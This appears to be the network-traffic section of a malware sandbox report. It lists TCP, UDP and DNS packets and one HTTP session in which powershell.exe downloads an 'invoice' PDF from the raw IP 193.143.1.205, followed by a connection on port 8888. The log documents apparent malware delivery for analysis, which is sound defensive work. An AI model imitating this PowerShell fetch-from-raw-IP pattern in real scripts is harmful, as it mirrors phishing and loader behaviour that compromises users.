Jan 11, 2025 08:17:38.744626045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.744652987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744687080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744690895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.744721889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744755983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744762897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.744790077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744823933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744829893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.744859934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744893074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744899035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.744926929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744966984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.745162964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.745197058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.745230913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.745237112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.745265961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.745300055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.745306015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.745335102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.745373964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.763804913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.767395020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.769299984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.769390106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.769428015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.769428968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.769504070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.769540071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.769546032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.769577980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.769608974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.769624949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.775526047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.775573015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.775582075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.775618076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.775654078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.775705099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.775739908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.775774956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.775778055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.775873899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.775923967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.791306973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.795783997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.804507971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.804563046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.804596901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.804625988 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.804770947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.804805040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.804819107 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.804841042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.804878950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.804893970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.804956913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.805002928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.805010080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.805046082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.805078983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.805094957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.805114031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.805147886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.805157900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.805183887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.805227041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.805335045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.805368900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.805402994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.805412054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.805438042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.805470943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.805496931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.805568933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.805603027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.805618048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.839344025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839401007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839428902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.839458942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839498043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839509010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.839534998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839569092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839579105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.839622974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839657068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839668036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.839693069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839730024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839735985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.839775085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839808941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839818001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.839849949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839889050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.839901924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839937925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839972019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.839978933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.840006113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840042114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840050936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.840491056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840524912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840537071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.840559959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840594053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840603113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.840629101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840662956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840672970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.840698004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840732098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840739012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.840765953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840799093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840807915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.840835094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840867996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840877056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.840902090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840936899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.840943098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.840981960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841025114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.841412067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841449022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841483116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841492891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.841519117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841551065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841557980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.841588020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841622114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841630936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.841656923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841691971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841700077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.841726065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841759920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841769934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.841795921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841830969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841841936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.841866016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841900110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841907024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.841937065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.841979980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.842372894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842410088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842444897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842456102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.842479944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842511892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842523098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.842554092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842588902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842597961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.842623949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842658997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842668056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.842693090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842726946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842736959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.842761040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842794895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842802048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.842828989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842864037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842871904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.842899084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.842940092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.843288898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843346119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843378067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843385935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.843415022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843447924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843457937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.843485117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843519926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843523026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.843554974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843590021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843595028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.843626022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843660116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843681097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.843694925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843729973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843736887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.843765974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843797922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843807936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.843833923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.843878031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.867996931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.868027925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.868043900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.868073940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.868177891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.868194103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.868208885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.868215084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.868226051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.868242979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.897022963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897056103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897070885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897075891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.897106886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.897213936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897231102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897245884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897263050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.897433996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897449017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897464037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897470951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.897480011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897496939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.897496939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897516012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897531986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.897819042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897835016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897850037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897856951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.897867918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897880077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.897883892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897901058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897916079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897923946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.897931099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897947073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.897952080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.897981882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:39.121834993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:39.125875950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:39.125946999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:39.125993967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:39.126009941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:39.126063108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:39.126097918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:39.126110077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:39.126132011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:39.126168966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:39.126174927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:39.126204014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:39.126238108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:39.126244068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:39.126275063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:39.126312971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:39.126316071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:39.126348019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:39.126382113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:39.126388073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:39.126413107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:39.126455069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:39.366620064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:39.491059065 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:39.924580097 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:39.929514885 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:39.929599047 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:39.929764986 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:39.934489012 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:40.747740984 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:40.797259092 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:41.225255966 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:17:52.875983953 CET	60289	53	192.168.2.8	1.1.1.1
Jan 11, 2025 08:18:05.140527010 CET	63125	53	192.168.2.8	1.1.1.1
Jan 11, 2025 08:18:19.093592882 CET	61311	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:17:52.875983953 CET	192.168.2.8	1.1.1.1	0xeee2	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:18:05.140527010 CET	192.168.2.8	1.1.1.1	0xa2b3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:18:19.093592882 CET	192.168.2.8	1.1.1.1	0x241d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:17:51.307795048 CET	1.1.1.1	192.168.2.8	0x1871	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:17:51.307795048 CET	1.1.1.1	192.168.2.8	0x1871	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:17:52.884110928 CET	1.1.1.1	192.168.2.8	0xeee2	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:18:05.147969007 CET	1.1.1.1	192.168.2.8	0xa2b3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:18:19.102096081 CET	1.1.1.1	192.168.2.8	0x241d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:18:53.727838993 CET	1.1.1.1	192.168.2.8	0x4200	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:18:53.727838993 CET	1.1.1.1	192.168.2.8	0x4200	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	7848	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:17:37.341747046 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:17:38.163731098 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:17:38 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter 